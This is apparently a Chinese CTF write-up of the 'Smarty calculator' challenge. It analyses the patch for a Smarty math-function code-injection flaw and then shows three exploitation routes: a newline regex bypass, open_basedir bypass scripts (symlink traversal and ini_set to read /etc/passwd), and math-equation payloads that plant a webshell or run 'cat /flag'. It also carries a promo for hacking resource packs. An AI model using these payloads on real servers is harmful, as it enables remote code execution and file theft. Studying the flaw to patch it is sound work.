漏洞报告
Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 和 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。用户应升级到版本 或 以接收补丁。
源码分析
对比官方修复的代码,在/plugins/function.math.php添加了如下一段
// Remove whitespaces
$equation = preg_replace(/\s+/, , $equation);
// Adapted from https://www.php.net/manual/en/function.eval.php#
$number = (?:\d+(?:[,.]\d+)?|pi|π); // What is a number
$functionsOrVars = ((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*));
$operators = [+\/*\^%-]; // Allowed math operators
$regexp = /^((.$number.|.$functionsOrVars.|(.$functionsOrVars.\s*\((?1)+\)|\((?1)+\)))(?:.$operators.(?2))?)+$/;
if (!preg_match($regexp, $equation)) {
trigger_error(math: illegal characters, E_USER_WARNING);
return;
}
对恶意拼接的数学字符串进行过滤(漏洞利用POC格式其实也在这里写出来了,参考$regexp)
而在较低版本下,缺少过滤部分,进而导致RCE
具体的POC我会在下面利用部分详写的
并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加
/**
* @expectedException PHPUnit_Framework_Error_Warning
*/
public function testBackticksIllegal()
{
$expected = ;
$tpl = $this->smarty->createTemplate(eval:{$x = 4}{$y = }{math equation=`ls` x * y x=$x y=$y});
$this->assertEquals($expected, $this->smarty->fetch($tpl));
}
/**
* @expectedException PHPUnit_Framework_Error_Warning
*/
public function testDollarSignsIllegal()
{
$expected = ;
$tpl = $this->smarty->createTemplate(eval:{$x = 4}{$y = }{math equation=#; x=$x y=$y});
$this->assertEquals($expected, $this->smarty->fetch($tpl));
}
/**
* @expectedException PHPUnit_Framework_Error_Warning
*/
public function testBracketsIllegal()
{
$expected = I;
$tpl = $this->smarty->createTemplate(eval:{$x = 0}{$y = 1}{math equation=((y/x).(x))[x] x=$x y=$y});
$this->assertEquals($expected, $this->smarty->fetch($tpl));
}
漏洞利用实例——红明谷 | Smarty calculator
【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
考点
- Smarty3. 模板注入(CVE-)
- Bypass open_basedir
- Bypass disable_functions
过程详解
看到Smarty,联系题目描述就明白这是Smarty模板注入,但是出题人修改了模板规则(真滴苟啊)。
一般情况下输入{$smarty.version},就可以看到返回的Smarty当前版本号,此题版本是。
扫一下网站,发现存在源码泄露,访问www.zip即可下载,打开分析。
index.php
<!DOCTYPE html>
<html lang=en>
<head>
<meta charset=UTF-8>
<title>Smarty calculator</title>
</head>
<body background=img/1.jpg>
<div align=center>
<h1>Smarty calculator</h1>
</div>
<div style=width:%;text-align:center>
<form action= method=POST>
<input type=text style=width:150px;height:30px name=data placeholder= 输入值进行计算 value=>
<br>
<input type=submit value=Submit>
</form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once(./Smarty/Smarty.class.php);
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
function waf($data){
$pattern = php|\<|flag|\?;
$vpattern = explode(|, $pattern);
foreach ($vpattern as $value) {
if (preg_match(/$value/, $data)) {
echo(<div style=width:%;text-align:center><h5>Calculator don not like U<h5><br>);
die();
}
}
return $data;
}
if(isset($_POST[data])){
if(isset($_COOKIE[login])) {
$data = waf($_POST[data]);
echo <div style=width:%;text-align:center><h5>Only smarty people can use calculators:<h5><br>;
$smarty->display(string: . $data);
}else{
echo <script>alert(\你还没有登录\)</script>;
}
}
在index.php中定义了waf函数,会检测$data中是否含有php < flag字样,这个还是蛮好绕的。
还会检测cookie中login是否存在且值不为零,只要在cookie上添加就好。
剩下的太多了。。。所以我筛选了一下,发现出题人应该只修改过3个文件。
用Beyond Compare对比一下官方模板,发现了出题人重点修改的地方就是正则匹配。
在CVE-,有关Smarty的安全问题上,也有提到
- 阻止$smarty.template_object在沙盒模式下访问
- 修复了通过使用非法函数名的代码注入漏洞{function name=blah}{/function}
if (preg_match(/[a-zA-Z0-9_\x80-\xff](.*)+$/, $_name)) {
$compiler->trigger_template_error(Function name contains invalid characters: {$_name}, null, true);
}
那么接下来,请欣赏各种优雅的过正则姿势
姿势一
在正则处打下断点进行测试,
发现可以通过换行绕过正则
设置完cookie后,url编码一下,POST传参,poc执行成功
但是不能直接cat /flag,有disable_functions以及open_basedir,绕过open_basedir的方法可太多了,我之前写了一篇文章你的open_basedir安全吗? - 先知社区 (aliyun.com)
syslink() php 4/5/7/8
symlink(string $target, string $link): bool
原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/../../../../etc/passwd,其实就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd,就进入了路径/etc/passwd payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。
<?php
highlight_file(__FILE__);
mkdir(A);//创建目录
chdir(A);//切换目录
mkdir(B);
chdir(B);
mkdir(C);
chdir(C);
mkdir(D);
chdir(D);
chdir(..);
chdir(..);
chdir(..);
chdir(..);
symlink(A/B/C/D,aaa);
symlink(aaa/../../../../etc/passwd,abc);
unlink(aaa);
mkdir(aaa);
?>
ini_set()
ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:
ini_set ( string $varname , string $newvalue ) : string
POC
<?php
highlight_file(__FILE__);
mkdir(Andy); //创建目录
chdir(Andy); //切换目录
ini_set(open_basedir,..); //把open_basedir切换到上层目录
chdir(..); //切换到根目录
chdir(..);
chdir(..);
ini_set(open_basedir,/); //设置open_basedir为根目录
echo file_get_contents(/etc/passwd); //读取/etc/passwd
姿势二
其实这个正则并不难,我们可以直接利用八进制数,然后借用Smarty的math equation,直接写入一句话shell,Antsword连接就好。
payload:
eval:{$x=}{math equation=(\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\)(\\\\\\\\\\\\,\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\)}
然后蚁剑连接,在根目录下得到flag
姿势三
既然我们能利用函数名了,那么我们也可以用一些数学函数执行命令,我当时用就是这一种(其实是另外两种没想到,嘿嘿嘿)
<?php
highlight_file(__FILE__);
//error_reporting(0);
include_once(./Smarty/Smarty.class.php);
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
//$smarty->display(string: . {math equation=p;(\exp\[0].\exp\[1].\exp\[0].\cos\[0])(\cos\[0].\abs\[0].\tan\[0].\floor\[0].\floor\[1].\abs\[0].\log\[2]); p=1 });
$smarty->display(string: . {math equation=p;(\exp\[0].\exp\[1].\exp\[0].\cos\[0])(\cos\[0].\abs\[0].\tan\[0].\ ./\.\floor\[0].\floor\[1].\abs\[0].\log\[2].\>1\); p=1 });
//exec(cat /flag)>1
?>
将执行结果写入1文件,同样,因为有disable_functions以及open_basedir,所以执行会不成功吗,重复姿势一,就能绕过。